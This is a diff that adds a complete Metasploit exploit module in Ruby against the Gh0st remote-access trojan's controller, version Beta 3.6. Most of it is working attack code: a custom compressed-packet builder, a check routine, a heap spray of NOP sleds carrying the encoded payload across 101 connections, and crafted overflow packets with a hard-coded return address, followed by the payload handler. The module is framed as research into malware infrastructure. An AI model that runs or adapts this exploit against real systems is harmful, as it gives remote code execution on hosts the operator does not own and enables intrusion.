|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'zlib' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + include Msf::Exploit::Remote::Tcp |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super(update_info(info, |
| 14 | + 'Name' => 'Gh0st Client buffer Overflow', |
| 15 | + 'Description' => %q{ |
| 16 | + This module exploits a Memory buffer overflow in the Gh0st client (C2 server) |
| 17 | + }, |
| 18 | + 'Author' => 'Professor Plum', |
| 19 | + 'License' => MSF_LICENSE, |
| 20 | + 'References' => |
| 21 | + [ |
| 22 | + ], |
| 23 | + 'DefaultOptions' => |
| 24 | + { |
| 25 | + 'EXITFUNC' => 'thread', |
| 26 | + 'AllowWin32SEH' => true |
| 27 | + }, |
| 28 | + 'Payload' => |
| 29 | + { |
| 30 | + 'Space' => 1000, |
| 31 | + 'BadChars' => '', |
| 32 | + 'EncoderType' => Msf::Encoder::Type::AlphanumMixed |
| 33 | + }, |
| 34 | + 'Platform' => 'win', |
| 35 | + 'DisclosureDate' => 'Jul 27 2017', |
| 36 | + 'Targets' => |
| 37 | + [ |
| 38 | + ['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }] |
| 39 | + ], |
| 40 | + 'Privileged' => false, |
| 41 | + 'DefaultTarget' => 0)) |
| 42 | + |
| 43 | + register_options( |
| 44 | + [ |
| 45 | + OptString.new('MAGIC', [true, 'the 5 char magic used by the server', 'Gh0st']), |
| 46 | + Opt::RPORT(80) |
| 47 | + ], self.class |
| 48 | + ) |
| 49 | + end |
| 50 | + |
| 51 | + def make_packet(id, data) |
| 52 | + msg = id.chr + data |
| 53 | + compressed = Zlib::Deflate.deflate(msg) |
| 54 | + datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed |
| 55 | + end |
| 56 | + |
| 57 | + def validate_response(data) |
| 58 | + if data.nil? |
| 59 | + print_status('Server closed connection') |
| 60 | + return false |
| 61 | + end |
| 62 | + if data.empty? |
| 63 | + print_status('No response recieved') |
| 64 | + return false |
| 65 | + end |
| 66 | + if data.size < 13 |
| 67 | + print_status('Invalid packet') |
| 68 | + print_status(data) |
| 69 | + return false |
| 70 | + end |
| 71 | + mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV') |
| 72 | + if mag.index(datastore['MAGIC']) != 0 |
| 73 | + print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size]) |
| 74 | + return false |
| 75 | + end |
| 76 | + if pktlen != data.size |
| 77 | + print_status('Packet size mismatch') |
| 78 | + return false |
| 79 | + end |
| 80 | + msg = Zlib::Inflate.inflate(data[13..data.size]) |
| 81 | + if msg.size != msglen |
| 82 | + print_status('Packet decompress failure') |
| 83 | + return false |
| 84 | + end |
| 85 | + # print_status(msg.ord.to_s) |
| 86 | + return true |
| 87 | + end |
| 88 | + |
| 89 | + def check |
| 90 | + connect |
| 91 | + sock.put(make_packet(101, "\x00")) # heartbeat |
| 92 | + if validate_response(sock.get_once || '') |
| 93 | + return Exploit::CheckCode::Appears |
| 94 | + end |
| 95 | + Exploit::CheckCode::Safe |
| 96 | + end |
| 97 | + |
| 98 | + def exploit |
| 99 | + print_status("Trying target #{target.name}") |
| 100 | + print_status('Spraying heap...') |
| 101 | + for i in 0..100 |
| 102 | + connect |
| 103 | + sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded)) |
| 104 | + if not validate_response(sock.get_once) |
| 105 | + disconnect |
| 106 | + return |
| 107 | + end |
| 108 | + end |
| 109 | + |
| 110 | + for i in 103..107 |
| 111 | + print_status("Trying command #{i}...") |
| 112 | + begin |
| 113 | + connect |
| 114 | + sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28) |
| 115 | + sock.put(sploit) |
| 116 | + if validate_response(sock.get_once) |
| 117 | + next |
| 118 | + end |
| 119 | + sleep(0.1) |
| 120 | + break |
| 121 | + rescue EOFError |
| 122 | + print_status('Invalid') |
| 123 | + end |
| 124 | + end |
| 125 | + handler |
| 126 | + disconnect |
| 127 | + end |
| 128 | +end |
0 commit comments